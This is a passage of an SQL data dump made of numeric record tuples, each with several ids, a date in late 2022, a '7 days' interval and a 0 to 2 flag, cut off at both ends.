days',1),(70775,21493,13076,13274,190,45,'2022-09-28','7 days',1),(70776,21492,13076,13274,190,45,'2022-09-28','7 days',0),(70777,21491,13076,13274,190,45,'2022-09-28','7 days',0),(70778,21490,13076,13274,190,45,'2022-09-28','7 days',0),(70779,21375,13082,13281,1780,971,'2022-09-30','7 days',1),(70780,16277,13082,13281,1780,971,'2022-09-30','7 days',0),(70781,16276,13082,13281,1780,971,'2022-09-30','7 days',0),(70782,16139,13082,13281,1780,971,'2022-09-30','7 days',1),(70783,12739,13082,13281,1780,971,'2022-09-30','7 days',0),(70784,11698,13082,13281,1780,971,'2022-09-30','7 days',0),(70785,11456,13082,13281,1780,971,'2022-09-30','7 days',2),(70786,11126,13082,13281,1780,971,'2022-09-30','7 days',0),(70787,10978,13082,13281,1780,971,'2022-09-30','7 days',1),(70788,10967,13082,13281,1780,971,'2022-09-30','7 days',0),(70789,10965,13082,13281,1780,971,'2022-09-30','7 days',0),(70790,10964,13082,13281,1780,971,'2022-09-30','7 days',0),(70791,10963,13082,13281,1780,971,'2022-09-30','7 days',0),(70792,20434,13075,13273,1594,277,'2022-09-30','7 days',0),(70793,20433,13075,13273,1594,277,'2022-09-30','7 days',0),(70794,20432,13075,13273,1594,277,'2022-09-30','7 days',0),(70795,20431,13075,13273,1594,277,'2022-09-30','7 days',0),(70796,20430,13075,13273,1594,277,'2022-09-30','7 days',0),(70797,20429,13075,13273,1594,277,'2022-09-30','7 days',0),(70798,20428,13075,13273,1594,277,'2022-09-30','7 days',0),(70799,20427,13075,13273,1594,277,'2022-09-30','7 days',0),(70800,20426,13075,13273,1594,277,'2022-09-30','7 days',0),(70801,20425,13075,13273,1594,277,'2022-09-30','7 days',0),(70802,20424,13075,13273,1594,277,'2022-09-30','7 days',0),(70803,20423,13075,13273,1594,277,'2022-09-30','7 days',0),(70804,20422,13075,13273,1594,277,'2022-09-30','7 days',0),(70805,20421,13075,13273,1594,277,'2022-09-30','7 days',0),(70806,20420,13075,13273,1594,277,'2022-09-30','7 days',0),(70807,20419,13075,13273,1594,277,'2022-09-30','7 days',1),(70808,15854,13075,13273,1594,277,'2022-09-30','7 days',0),(70809,20792,13094,13293,222,85,'2022-09-30','7 days',0),(70810,11446,13094,13293,222,85,'2022-09-30','7 days',0),(70811,20792,13093,13292,222,85,'2022-09-30','7 days',0),(70812,20792,13092,13291,222,85,'2022-09-30','7 days',0),(70813,11446,13092,13291,222,85,'2022-09-30','7 days',0),(70814,20792,13090,13289,222,85,'2022-09-30','7 days',0),(70815,11446,13090,13289,222,85,'2022-09-30','7 days',0),(70816,20792,13091,13290,221,85,'2022-09-30','7 days',0),(70817,11446,13091,13290,221,85,'2022-09-30','7 days',0),(70818,11445,13092,13291,222,85,'2022-09-30','7 days',0),(70819,11444,13092,13291,222,85,'2022-09-30','7 days',0),(70820,11446,13093,13292,222,85,'2022-09-30','7 days',0),(70821,17074,13100,13299,1456,667,'2022-10-01','7 days',1),(70822,15399,13100,13299,1456,667,'2022-10-01','7 days',0),(70823,15398,13100,13299,1456,667,'2022-10-01','7 days',1),(70824,15397,13100,13299,1456,667,'2022-10-01','7 days',1),(70825,15396,13100,13299,1456,667,'2022-10-01','7 days',0),(70826,15187,13100,13299,1456,667,'2022-10-01','7 days',0),(70827,15186,13100,13299,1456,667,'2022-10-01','7 days',1),(70828,15185,13100,13299,1456,667,'2022-10-01','7 days',0),(70829,15184,13100,13299,1456,667,'2022-10-01','7 days',0),(70830,15183,13100,13299,1456,667,'2022-10-01','7 days',1),(70831,15182,13100,13299,1456,667,'2022-10-01','7 days',1),(70832,15181,13100,13299,1456,667,'2022-10-01','7 days',2),(70833,15180,13100,13299,1456,667,'2022-10-01','7 days',0),(70834,15179,13100,13299,1456,667,'2022-10-01','7 days',0),(70835,15178,13100,13299,1456,667,'2022-10-01','7 days',0),(70836,15177,13100,13299,1456,667,'2022-10-01','7 days',0),(70837,15176,13100,13299,1456,667,'2022-10-01','7 days',0),(70838,14805,13100,13299,1456,667,'2022-10-01','7 days',0),(70839,14767,13100,13299,1456,667,'2022-10-01','7 days',0),(70840,14766,13100,13299,1456,667,'2022-10-01','7 days',0),(70841,14765,13100,13299,1456,667,'2022-10-01','7 days',1),(70842,14764,13100,13299,1456,667,'2022-10-01','7 days',2),(70843,17074,13099,13298,1456,667,'2022-10-01','7 days',1),(70844,15399,13099,13298,1456,667,'2022-10-01','7 days',0),(70845,15398,13099,13298,1456,667,'2022-10-01','7 days',1),(70846,15397,13099,13298,1456,667,'2022-10-01','7 days',1),(70847,15396,13099,13298,1456,667,'2022-10-01','7 days',0),(70848,15187,13099,13298,1456,667,'2022-10-01','7 days',0),(70849,15186,13099,13298,1456,667,'2022-10-01','7 days',1),(70850,15185,13099,13298,1456,667,'2022-10-01','7 days',0),(70851,15184,13099,13298,1456,667,'2022-10-01','7 days',0),(70852,15183,13099,13298,1456,667,'2022-10-01','7 days',1),(70853,15182,13099,13298,1456,667,'2022-10-01','7 days',1),(70854,15181,13099,13298,1456,667,'2022-10-01','7 days',2),(70855,15180,13099,13298,1456,667,'2022-10-01','7 days',0),(70856,15179,13099,13298,1456,667,'2022-10-01','7 days',0),(70857,15178,13099,13298,1456,667,'2022-10-01','7 days',0),(70858,15177,13099,13298,1456,667,'2022-10-01','7 days',0),(70859,15176,13099,13298,1456,667,'2022-10-01','7 days',0),(70860,14805,13099,13298,1456,667,'2022-10-01','7 days',0),(70861,14767,13099,13298,1456,667,'2022-10-01','7 days',0),(70862,14766,13099,13298,1456,667,'2022-10-01','7 days',0),(70863,14765,13099,13298,1456,667,'2022-10-01','7 days',1),(70864,14764,13099,13298,1456,667,'2022-10-01','7 days',2),(70865,11445,13094,13293,222,85,'2022-10-03','7 days',0),(70866,11444,13094,13293,222,85,'2022-10-03','7 days',0),(70867,11443,13094,13293,222,85,'2022-10-03','7 days',0),(70868,11442,13094,13293,222,85,'2022-10-03','7 days',0),(70869,17074,13097,13296,1732,667,'2022-10-04','7 days',1),(70870,15399,13097,13296,1732,667,'2022-10-04','7 days',0),(70871,15398,13097,13296,1732,667,'2022-10-04','7 days',1),(70872,15397,13097,13296,1732,667,'2022-10-04','7 days',1),(70873,15396,13097,13296,1732,667,'2022-10-04','7 days',0),(70874,15187,13097,13296,1732,667,'2022-10-04','7 days',0),(70875,15186,13097,13296,1732,667,'2022-10-04','7 days',1),(70876,15185,13097,13296,1732,667,'2022-10-04','7 days',0),(70877,15184,13097,13296,1732,667,'2022-10-04','7 days',0),(70878,15183,13097,13296,1732,667,'2022-10-04','7 days',1),(70879,15182,13097,13296,1732,667,'2022-10-04','7 days',1),(70880,15181,13097,13296,1732,667,'2022-10-04','7 days',2),(70881,15180,13097,13296,1732,667,'2022-10-04','7 days',0),(70882,15179,13097,13296,1732,667,'2022-10-04','7 days',0),(70883,15178,13097,13296,1732,667,'2022-10-04','7 days',0),(70884,15177,13097,13296,1732,667,'2022-10-04','7 days',0),(70885,15176,13097,13296,1732,667,'2022-10-04','7 days',0),(70886,14805,13097,13296,1732,667,'2022-10-04','7 days',0),(70887,14767,13097,13296,1732,667,'2022-10-04','7 days',0),(70888,14766,13097,13296,1732,667,'2022-10-04','7 days',0),(70889,14765,13097,13296,1732,667,'2022-10-04','7 days',1),(70890,14764,13097,13296,1732,667,'2022-10-04','7 days',2),(70891,21529,13102,13302,162,73,'2022-10-04','7 days',1),(70892,21377,13102,13302,162,73,'2022-10-04','7 days',2),(70893,9012,13102,13302,162,73,'2022-10-04','7 days',0),(70894,9010,13102,13302,162,73,'2022-10-04','7 days',0),(70895,8785,13102,13302,162,73,'2022-10-04','7 days',0),(70896,17213,13105,13305,1786,959,'2022-10-06','7 days',1),(70897,17211,13105,13305,1786,959,'2022-10-06','7 days',1),(70898,14071,13105,13305,1786,959,'2022-10-06','7 days',1),(70899,21531,13109,13275,1068,326,'2022-10-06','7 days',1),(70900,17546,13109,13275,1068,326,'2022-10-06','7 days',1),(70901,9797,13109,13275,1068,326,'2022-10-06','7 days',0),(70902,9796,13109,13275,1068,326,'2022-10-06','7 days',0),(70903,9795,13109,13275,1068,326,'2022-10-06','7 days',0),(70904,9720,13109,13275,1068,326,'2022-10-06','7 days',0),(70905,9719,13109,13275,1068,326,'2022-10-06','7 days',2),(70906,7421,13109,13275,1068,326,'2022-10-06','7 days',0),(70907,7420,13109,13275,1068,326,'2022-10-06','7 days',0),(70908,7419,13109,13275,1068,326,'2022-10-06','7 days',0),(70909,7418,13109,13275,1068,326,'2022-10-06','7 days',0),(70910,7417,13109,13275,1068,326,'2022-10-06','7 days',0),(70911,7416,13109,13275,1068,326,'2022-10-06','7 days',1),(70912,7415,13109,13275,1068,326,'2022-10-06','7 days',0),(70913,21531,13108,13275,1068,326,'2022-10-06','7 days',1),(70914,17546,13108,13275,1068,326,'2022-10-06','7 days',1),(70915,9797,13108,13275,1068,326,'2022-10-06','7 days',0),(70916,9796,13108,13275,1068,326,'2022-10-06','7 days',0),(70917,9795,13108,13275,1068,326,'2022-10-06','7 days',0),(70918,9720,13108,13275,1068,326,'2022-10-06','7 days',0),(70919,9719,13108,13275,1068,326,'2022-10-06','7 days',2),(70920,7421,13108,13275,1068,326,'2022-10-06','7 days',0),(70921,7420,13108,13275,1068,326,'2022-10-06','7 days',0),(70922,7419,13108,13275,1068,326,'2022-10-06','7 days',0),(70923,7418,13108,13275,1068,326,'2022-10-06','7 days',0),(70924,7417,13108,13275,1068,326,'2022-10-06','7 days',0),(70925,7416,13108,13275,1068,326,'2022-10-06','7 days',1),(70926,7415,13108,13275,1068,326,'2022-10-06','7 days',0),(70927,17213,13107,13307,1786,959,'2022-10-06','7 days',1),(70928,14071,13107,13307,1786,959,'2022-10-06','7 days',1),(70929,17213,13106,13306,1785,959,'2022-10-06','7 days',1),(70930,14071,13106,13306,1785,959,'2022-10-06','7 days',1),(70931,17213,13104,13304,1784,959,'2022-10-06','7 days',1),(70932,14071,13104,13304,1784,959,'2022-10-06','7 days',1),(70933,17213,13103,13303,1324,959,'2022-10-06','7 days',1),(70934,14071,13103,13303,1324,959,'2022-10-06','7 days',1),(70935,17074,13101,13300,1732,667,'2022-10-06','7 days',1),(70936,15399,13101,13300,1732,667,'2022-10-06','7 days',0),(70937,15398,13101,13300,1732,667,'2022-10-06','7 days',1),(70938,15397,13101,13300,1732,667,'2022-10-06','7 days',1),(70939,15396,13101,13300,1732,667,'2022-10-06','7 days',0),(70940,15187,13101,13300,1732,667,'2022-10-06','7 days',0),(70941,15186,13101,13300,1732,667,'2022-10-06','7 days',1),(70942,15185,13101,13300,1732,667,'2022-10-06','7 days',0),(70943,15184,13101,13300,1732,667,'2022-10-06','7 days',0),(70944,15183,13101,13300,1732,667,'2022-10-06','7 days',1),(70945,15182,13101,13300,1732,667,'2022-10-06','7 days',1),(70946,15181,13101,13300,1732,667,'2022-10-06','7 days',2),(70947,15180,13101,13300,1732,667,'2022-10-06','7 days',0),(70948,15179,13101,13300,1732,667,'2022-10-06','7 days',0),(70949,15178,13101,13300,1732,667,'2022-10-06','7 days',0),(70950,15177,13101,13300,1732,667,'2022-10-06','7 days',0),(70951,15176,13101,13300,1732,667,'2022-10-06','7 days',0),(70952,14805,13101,13300,1732,667,'2022-10-06','7 days',0),(70953,14767,13101,13300,1732,667,'2022-10-06','7 days',0),(70954,14766,13101,13300,1732,667,'2022-10-06','7 days',0),(70955,14765,13101,13300,1732,667,'2022-10-06','7 days',1),(70956,14764,13101,13300,1732,667,'2022-10-06','7 days',0),(70957,12897,13108,13275,1068,326,'2022-10-07','7 days',0),(70958,9805,13108,13275,1068,326,'2022-10-07','7 days',0),(70959,9798,13108,13275,1068,326,'2022-10-07','7 days',0),(70960,16861,13083,13282,358,251,'2022-10-07','7 days',0),(70961,16780,13083,13282,358,251,'2022-10-07','7 days',0),(70962,16779,13083,13282,358,251,'2022-10-07','7 days',1),(70963,16777,13083,13282,358,251,'2022-10-07','7 days',0),(70964,16776,13083,13282,358,251,'2022-10-07','7 days',0),(70965,16775,13083,13282,358,251,'2022-10-07','7 days',0),(70966,16774,13083,13282,358,251,'2022-10-07','7 days',0),(70967,16773,13083,13282,358,251,'2022-10-07','7 days',0),(70968,16772,13083,13282,358,251,'2022-10-07','7 days',0),(70969,16771,13083,13282,358,251,'2022-10-07','7 days',0),(70970,16770,13083,13282,358,251,'2022-10-07','7 days',2),(70971,16769,13083,13282,358,251,'2022-10-07','7 days',0),(70972,16768,13083,13282,358,251,'2022-10-07','7 days',0),(70973,16716,13083,13282,358,251,'2022-10-07','7 days',0),(70974,16715,13083,13282,358,251,'2022-10-07','7 days',0),(70975,16714,13083,13282,358,251,'2022-10-07','7 days',0),(70976,16701,13083,13282,358,251,'2022-10-07','7 days',0),(70977,16700,13083,13282,358,251,'2022-10-07','7 days',0),(70978,16699,13083,13282,358,251,'2022-10-07','7 days',0),(70979,16698,13083,13282,358,251,'2022-10-07','7 days',0),(70980,16697,13083,13282,358,251,'2022-10-07','7 days',0),(70981,16696,13083,13282,358,251,'2022-10-07','7 days',0),(70982,16695,13083,13282,358,251,'2022-10-07','7 days',0),(70983,12531,13095,13294,191,45,'2022-10-07','7 days',1),(70984,11715,13095,13294,191,45,'2022-10-07','7 days',1),(70985,11714,13095,13294,191,45,'2022-10-07','7 days',1),(70986,10976,13095,13294,191,45,'2022-10-07','7 days',1),(70987,10975,13095,13294,191,45,'2022-10-07','7 days',1),(70988,21507,13013,13213,1456,667,'2022-10-07','7 days',0),(70989,21508,13013,13213,1456,667,'2022-10-07','7 days',0),(70990,21509,13013,13213,1456,667,'2022-10-07','7 days',0),(70991,21510,13013,13213,1456,667,'2022-10-07','7 days',0),(70992,17074,13013,13213,1456,667,'2022-10-07','7 days',1),(70993,15399,13013,13213,1456,667,'2022-10-07','7 days',0),(70994,15398,13013,13213,1456,667,'2022-10-07','7 days',1),(70995,15397,13013,13213,1456,667,'2022-10-07','7 days',1),(70996,15396,13013,13213,1456,667,'2022-10-07','7 days',0),(70997,15187,13013,13213,1456,667,'2022-10-07','7 days',0),(70998,15186,13013,13213,1456,667,'2022-10-07','7 days',1),(70999,15185,13013,13213,1456,667,'2022-10-07','7 days',0),(71000,15184,13013,13213,1456,667,'2022-10-07','7 days',0),(71001,15183,13013,13213,1456,667,'2022-10-07','7 days',1),(71002,15182,13013,13213,1456,667,'2022-10-07','7 days',1),(71003,15181,13013,13213,1456,667,'2022-10-07','7 days',2),(71004,15180,13013,13213,1456,667,'2022-10-07','7 days',0),(71005,15179,13013,13213,1456,667,'2022-10-07','7 days',0),(71006,15178,13013,13213,1456,667,'2022-10-07','7 days',0),(71007,15177,13013,13213,1456,667,'2022-10-07','7 days',2),(71008,15176,13013,13213,1456,667,'2022-10-07','7 days',0),(71009,14805,13013,13213,1456,667,'2022-10-07','7 days',0),(71010,14767,13013,13213,1456,667,'2022-10-07','7 days',0),(71011,14766,13013,13213,1456,667,'2022-10-07','7 days',0),(71012,14765,13013,13213,1456,667,'2022-10-07','7 days',1),(71013,14764,13013,13213,1456,667,'2022-10-07','7 days',0),(71014,21374,13116,13314,192,45,'2022-10-10','7 days',1),(71015,14534,13116,13314,192,45,'2022-10-10','7 days',1),(71016,12532,13116,13314,192,45,'2022-10-10','7 days',1),(71017,12531,13116,13314,192,45,'2022-10-10','7 days',1),(71018,14051,13108,13275,1068,326,'2022-10-12','7 days',0),(71019,12875,13108,13275,1068,326,'2022-10-12','7 days',0),(71020,9803,13108,13275,1068,326,'2022-10-12','7 days',0),(71021,9802,13108,13275,1068,326,'2022-10-12','7 days',0),(71022,9801,13108,13275,1068,326,'2022-10-12','7 days',1),(71023,9800,13108,13275,1068,326,'2022-10-12','7 days',0),(71024,21521,13021,13105,1410,975,'2022-10-12','7 days',0),(71025,21521,13020,13105,1779,975,'2022-10-12','7 days',0),(71026,21521,13019,13105,1779,975,'2022-10-12','7 days',0),(71027,21534,13069,13268,1675,86,'2022-10-12','7 days',1),(71028,21408,13117,13031,194,45,'2022-10-12','7 days',1),(71029,21374,13117,13031,194,45,'2022-10-12','7 days',1),(71030,14534,13117,13031,194,45,'2022-10-12','7 days',1),(71031,12532,13117,13031,194,45,'2022-10-12','7 days',1),(71032,12531,13117,13031,194,45,'2022-10-12','7 days',1),(71033,14684,13119,13318,195,45,'2022-10-17','7 days',0),(71034,13913,13119,13318,195,45,'2022-10-17','7 days',0),(71035,12562,13119,13318,195,45,'2022-10-17','7 days',1),(71036,11689,13119,13318,195,45,'2022-10-17','7 days',1),(71037,11688,13119,13318,195,45,'2022-10-17','7 days',2),(71038,21543,13120,13319,191,45,'2022-10-18','7 days',0),(71039,21542,13120,13319,191,45,'2022-10-18','7 days',0),(71040,21541,13120,13319,191,45,'2022-10-18','7 days',1),(71041,21540,13120,13319,191,45,'2022-10-18','7 days',0),(71042,21539,13120,13319,191,45,'2022-10-18','7 days',2),(71043,21538,13120,13319,191,45,'2022-10-18','7 days',0),(71044,21537,13120,13319,191,45,'2022-10-18','7 days',0),(71045,21394,13121,13320,193,45,'2022-10-20','7 days',1),(71046,21393,13121,13320,193,45,'2022-10-20','7 days',0),(71047,21392,13121,13320,193,45,'2022-10-20','7 days',1),(71048,21391,13121,13320,193,45,'2022-10-20','7 days',1),(71049,21390,13121,13320,193,45,'2022-10-20','7 days',0),(71050,12532,13119,13318,194,45,'2022-10-20','7 days',1),(71051,12531,13119,13318,194,45,'2022-10-20','7 days',1),(71052,11715,13119,13318,194,45,'2022-10-20','7 days',1),(71053,11714,13119,13318,194,45,'2022-10-20','7 days',1),(71054,10976,13119,13318,194,45,'2022-10-20','7 days',1),(71055,1000,13123,12771,192,45,'2022-10-21','7 days',1),(71056,10011,13124,13323,359,251,'2022-10-21','7 days',0),(71057,10010,13124,13323,359,251,'2022-10-21','7 days',1),(71058,10009,13124,13323,359,251,'2022-10-21','7 days',0),(71059,10008,13124,13323,359,251,'2022-10-21','7 days',0),(71060,10007,13124,13323,359,251,'2022-10-21','7 days',0),(71061,10006,13124,13323,359,251,'2022-10-21','7 days',0),(71062,10005,13124,13323,359,251,'2022-10-21','7 days',0),(71063,10004,13124,13323,359,251,'2022-10-21','7 days',0),(71064,10003,13124,13323,359,251,'2022-10-21','7 days',0),(71065,10002,13124,13323,359,251,'2022-10-21','7 days',0),(71066,9931,13124,13323,359,251,'2022-10-21','7 days',0),(71067,9930,13124,13323,359,251,'2022-10-21','7 days',0),(71068,9929,13124,13323,359,251,'2022-10-21','7 days',0),(71069,9928,13124,13323,359,251,'2022-10-21','7 days',0),(71070,9927,13124,13323,359,251,'2022-10-21','7 days',0),(71071,9926,13124,13323,359,251,'2022-10-21','7 days',0),(71072,9925,13124,13323,359,251,'2022-10-21','7 days',0),(71073,9924,13124,13323,359,251,'2022-10-21','7 days',0),(71074,9923,13124,13323,359,251,'2022-10-21','7 days',0),(71075,9922,13124,13323,359,251,'2022-10-21','7 days',0),(71076,21532,13124,13323,359,251,'2022-10-21','7 days',1),(71077,18277,13125,13324,1439,86,'2022-10-21','7 days',0),(71078,18276,13125,13324,1439,86,'2022-10-21','7 days',0),(71079,18275,13125,13324,1439,86,'2022-10-21','7 days',0),(71080,15634,13125,13324,1439,86,'2022-10-21','7 days',0),(71081,15633,13125,13324,1439,86,'2022-10-21','7 days',0),(71082,20792,13128,13327,221,85,'2022-10-21','7 days',0),(71083,11446,13128,13327,221,85,'2022-10-21','7 days',0),(71084,16861,13124,13323,359,251,'2022-10-25','7 days',2),(71085,4512,13134,13334,634,639,'2022-10-31','7 days',1),(71086,4494,13134,13334,634,639,'2022-10-31','7 days',1),(71087,4487,13134,13334,634,639,'2022-10-31','7 days',0),(71088,4483,13134,13334,634,639,'2022-10-31','7 days',0),(71089,4477,13134,13334,634,639,'2022-10-31','7 days',0),(71090,4473,13134,13334,634,639,'2022-10-31','7 days',0),(71091,21530,13134,13334,634,639,'2022-10-31','7 days',0),(71092,17489,13134,13334,634,639,'2022-10-31','7 days',0),(71093,17451,13134,13334,634,639,'2022-10-31','7 days',0),(71094,4516,13134,13334,634,639,'2022-10-31','7 days',0),(71095,4514,13134,13334,634,639,'2022-10-31','7 days',0),(71096,4499,13134,13334,634,639,'2022-10-31','7 days',0),(71097,4467,13134,13334,634,639,'2022-10-31','7 days',0),(71098,4460,13134,13334,634,639,'2022-10-31','7 days',2),(71099,20696,13146,13347,1740,1020,'2022-10-31','7 days',0),(71100,20695,13146,13347,1740,1020,'2022-10-31','7 days',0),(71101,13235,13125,13324,1439,86,'2022-11-01','7 days',1),(71102,13093,13125,13324,1439,86,'2022-11-01','7 days',0),(71103,13092,13125,13324,1439,86,'2022-11-01','7 days',2),(71104,9610,13125,13324,1439,86,'2022-11-01','7 days',0),(71105,20789,13125,13324,1439,86,'2022-11-01','7 days',0),(71106,20696,13147,13348,1740,1020,'2022-11-01','7 days',0),(71107,20695,13147,13348,1740,1020,'2022-11-01','7 days',0),(71108,11445,13128,13327,221,85,'2022-11-01','7 days',0),(71109,11444,13128,13327,221,85,'2022-11-01','7 days',0),(71110,11443,13128,13327,221,85,'2022-11-01','7 days',0),(71111,11442,13128,13327,221,85,'2022-11-01','7 days',0),(71112,11441,13128,13327,221,85,'2022-11-01','7 days',0),(71113,20792,13127,13326,221,85,'2022-11-01','7 days',0),(71114,20792,13046,13243,222,85,'2022-11-01','7 days',0),(71115,11446,13046,13243,222,85,'2022-11-01','7 days',0),(71116,20792,13007,13209,222,85,'2022-11-01','7 days',0),(71117,20792,12286,11947,221,85,'2022-11-01','7 days',0),(71118,8603,13135,13335,1674,251,'2022-11-01','7 days',0),(71119,8602,13135,13335,1674,251,'2022-11-01','7 days',0),(71120,8601,13135,13335,1674,251,'2022-11-01','7 days',0),(71121,8600,13135,13335,1674,251,'2022-11-01','7 days',0),(71122,8599,13135,13335,1674,251,'2022-11-01','7 days',2),(71123,8598,13135,13335,1674,251,'2022-11-01','7 days',0),(71124,8597,13135,13335,1674,251,'2022-11-01','7 days',0),(71125,8596,13135,13335,1674,251,'2022-11-01','7 days',0),(71126,8595,13135,13335,1674,251,'2022-11-01','7 days',0),(71127,6886,13135,13335,1674,251,'2022-11-01','7 days',2),(71128,6885,13135,13335,1674,251,'2022-11-01','7 days',0),(71129,6884,13135,13335,1674,251,'2022-11-01','7 days',0),(71130,6883,13135,13335,1674,251,'2022-11-01','7 days',0),(71131,6882,13135,13335,1674,251,'2022-11-01','7 days',0),(71132,6881,13135,13335,1674,251,'2022-11-01','7 days',0),(71133,6880,13135,13335,1674,251,'2022-11-01','7 days',2),(71134,6879,13135,13335,1674,251,'2022-11-01','7 days',0),(71135,5403,13135,13335,1674,251,'2022-11-01','7 days',0),(71136,5402,13135,13335,1674,251,'2022-11-01','7 days',0),(71137,5401,13135,13335,1674,251,'2022-11-01','7 days',0),(71138,5400,13135,13335,1674,251,'2022-11-01','7 days',0),(71139,3253,13135,13335,1674,251,'2022-11-01','7 days',0),(71140,3252,13135,13335,1674,251,'2022-11-01','7 days',0),(71141,3251,13135,13335,1674,251,'2022-11-01','7 days',0),(71142,3250,13135,13335,1674,251,'2022-11-01','7 days',0),(71143,3249,13135,13335,1674,251,'2022-11-01','7 days',0),(71144,3248,13135,13335,1674,251,'2022-11-01','7 days',0),(71145,21521,13145,13346,1779,975,'2022-11-02','7 days',2),(71146,21476,13145,13346,1779,975,'2022-11-02','7 days',0),(71147,21475,13145,13346,1779,975,'2022-11-02','7 days',1),(71148,20788,13145,13346,1779,975,'2022-11-02','7 days',1),(71149,18830,13145,13346,1779,975,'2022-11-02','7 days',0),(71150,17409,13145,13346,1779,975,'2022-11-02','7 days',1),(71151,17408,13145,13346,1779,975,'2022-11-02','7 days',0),(71152,17407,13145,13346,1779,975,'2022-11-02','7 days',0),(71153,17406,13145,13346,1779,975,'2022-11-02','7 days',1),(71154,17405,13145,13346,1779,975,'2022-11-02','7 days',1),(71155,17404,13145,13346,1779,975,'2022-11-02','7 days',0),(71156,17403,13145,13346,1779,975,'2022-11-02','7 days',0),(71157,17391,13145,13346,1779,975,'2022-11-02','7 days',0),(71158,17390,13145,13346,1779,975,'2022-11-02','7 days',0),(71159,17389,13145,13346,1779,975,'2022-11-02','7 days',0),(71160,17388,13145,13346,1779,975,'2022-11-02','7 days',0),(71161,17387,13145,13346,1779,975,'2022-11-02','7 days',0),(71162,17386,13145,13346,1779,975,'2022-11-02','7 days',0),(71163,17385,13145,13346,1779,975,'2022-11-02','7 days',0),(71164,17384,13145,13346,1779,975,'2022-11-02','7 days',0),(71165,17383,13145,13346,1779,975,'2022-11-02','7 days',1),(71166,17382,13145,13346,1779,975,'2022-11-02','7 days',0),(71167,15663,13145,13346,1779,975,'2022-11-02','7 days',1),(71168,21476,13144,13345,1410,975,'2022-11-02','7 days',0),(71169,21475,13144,13345,1410,975,'2022-11-02','7 days',1),(71170,20788,13144,13345,1410,975,'2022-11-02','7 days',1),(71171,18830,13144,13345,1410,975,'2022-11-02','7 days',0),(71172,17409,13144,13345,1410,975,'2022-11-02','7 days',0),(71173,17408,13144,13345,1410,975,'2022-11-02','7 days',0),(71174,17407,13144,13345,1410,975,'2022-11-02','7 days',0),(71175,17406,13144,13345,1410,975,'2022-11-02','7 days',1),(71176,17405,13144,13345,1410,975,'2022-11-02','7 days',1),(71177,17404,13144,13345,1410,975,'2022-11-02','7 days',0),(71178,17403,13144,13345,1410,975,'2022-11-02','7 days',0),(71179,17391,13144,13345,1410,975,'2022-11-02','7 days',0),(71180,17390,13144,13345,1410,975,'2022-11-02','7 days',0),(71181,17389,13144,13345,1410,975,'2022-11-02','7 days',0),(71182,17388,13144,13345,1410,975,'2022-11-02','7 days',0),(71183,17387,13144,13345,1410,975,'2022-11-02','7 days',0),(71184,17386,13144,13345,1410,975,'2022-11-02','7 days',0),(71185,17385,13144,13345,1410,975,'2022-11-02','7 days',0),(71186,17384,13144,13345,1410,975,'2022-11-02','7 days',0),(71187,17383,13144,13345,1410,975,'2022-11-02','7 days',1),(71188,17382,13144,13345,1410,975,'2022-11-02','7 days',0),(71189,15663,13144,13345,1410,975,'2022-11-02','7 days',1),(71190,21476,13143,13344,1779,975,'2022-11-02','7 days',0),(71191,21475,13143,13344,1779,975,'2022-11-02','7 days',1),(71192,20788,13143,13344,1779,975,'2022-11-02','7 days',1),(71193,18830,13143,13344,1779,975,'2022-11-02','7 days',0),(71194,17409,13143,13344,1779,975,'2022-11-02','7 days',0),(71195,17408,13143,13344,1779,975,'2022-11-02','7 days',0),(71196,17407,13143,13344,1779,975,'2022-11-02','7 days',0),(71197,17406,13143,13344,1779,975,'2022-11-02','7 days',1),(71198,17405,13143,13344,1779,975,'2022-11-02','7 days',1),(71199,17404,13143,13344,1779,975,'2022-11-02','7 days',0),(71200,17403,13143,13344,1779,975,'2022-11-02','7 days',0),(71201,17391,13143,13344,1779,975,'2022-11-02','7 days',0),(71202,17390,13143,13344,1779,975,'2022-11-02','7 days',0),(71203,17389,13143,13344,1779,975,'2022-11-02','7 days',0),(71204,17388,13143,13344,1779,975,'2022-11-02','7 days',0),(71205,17387,13143,13344,1779,975,'2022-11-02','7 days',0),(71206,17386,13143,13344,1779,975,'2022-11-02','7 days',0),(71207,17385,13143,13344,1779,975,'2022-11-02','7 days',0),(71208,17384,13143,13344,1779,975,'2022-11-02','7 days',0),(71209,17383,13143,13344,1779,975,'2022-11-02','7 days',1),(71210,17382,13143,13344,1779,975,'2022-11-02','7 days',0),(71211,15663,13143,13344,1779,975,'2022-11-02','7 days',1),(71212,11360,13153,13352,1456,667,'2022-11-03','7 days',0),(71213,11359,13153,13352,1456,667,'2022-11-03','7 days',0),(71214,11358,13153,13352,1456,667,'2022-11-03','7 days',0),(71215,11357,13153,13352,1456,667,'2022-11-03','7 days',0),(71216,11356,13153,13352,1456,667,'2022-11-03','7 days',0),(71217,11355,13153,13352,1456,667,'2022-11-03','7 days',1),(71218,11354,13153,13352,1456,667,'2022-11-03','7 days',0),(71219,11353,13153,13352,1456,667,'2022-11-03','7 days',1),(71220,11352,13153,13352,1456,667,'2022-11-03','7 days',0),(71221,11351,13153,13352,1456,667,'2022-11-03','7 days',0),(71222,11360,13152,13353,1456,667,'2022-11-03','7 days',0),(71223,11359,13152,13353,1456,667,'2022-11-03','7 days',0),(71224,11358,13152,13353,1456,667,'2022-11-03','7 days',0),(71225,11357,13152,13353,1456,667,'2022-11-03','7 days',0),(71226,11356,13152,13353,1456,667,'2022-11-03','7 days',0),(71227,11355,13152,13353,1456,667,'2022-11-03','7 days',1),(71228,11354,13152,13353,1456,667,'2022-11-03','7 days',0),(71229,11353,13152,13353,1456,667,'2022-11-03','7 days',1),(71230,11352,13152,13353,1456,667,'2022-11-03','7 days',0),(71231,11351,13152,13353,1456,667,'2022-11-03','7 days',0),(71232,17074,13152,13353,1456,667,'2022-11-03','7 days',1),(71233,15399,13152,13353,1456,667,'2022-11-03','7 days',0),(71234,15398,13152,13353,1456,667,'2022-11-03','7 days',1),(71235,15397,13152,13353,1456,667,'2022-11-03','7 days',1),(71236,15396,13152,13353,1456,667,'2022-11-03','7 days',0),(71237,15187,13152,13353,1456,667,'2022-11-03','7 days',0),(71238,15186,13152,13353,1456,667,'2022-11-03','7 days',1),(71239,15185,13152,13353,1456,667,'2022-11-03','7 days',0),(71240,15184,13152,13353,1456,667,'2022-11-03','7 days',0),(71241,15183,13152,13353,1456,667,'2022-11-03','7 days',1),(71242,15182,13152,13353,1456,667,'2022-11-03','7 days',1),(71243,15181,13152,13353,1456,667,'2022-11-03','7 days',0),(71244,15180,13152,13353,1456,667,'2022-11-03','7 days',0),(71245,15179,13152,13353,1456,667,'2022-11-03','7 days',0),(71246,15178,13152,13353,1456,667,'2022-11-03','7 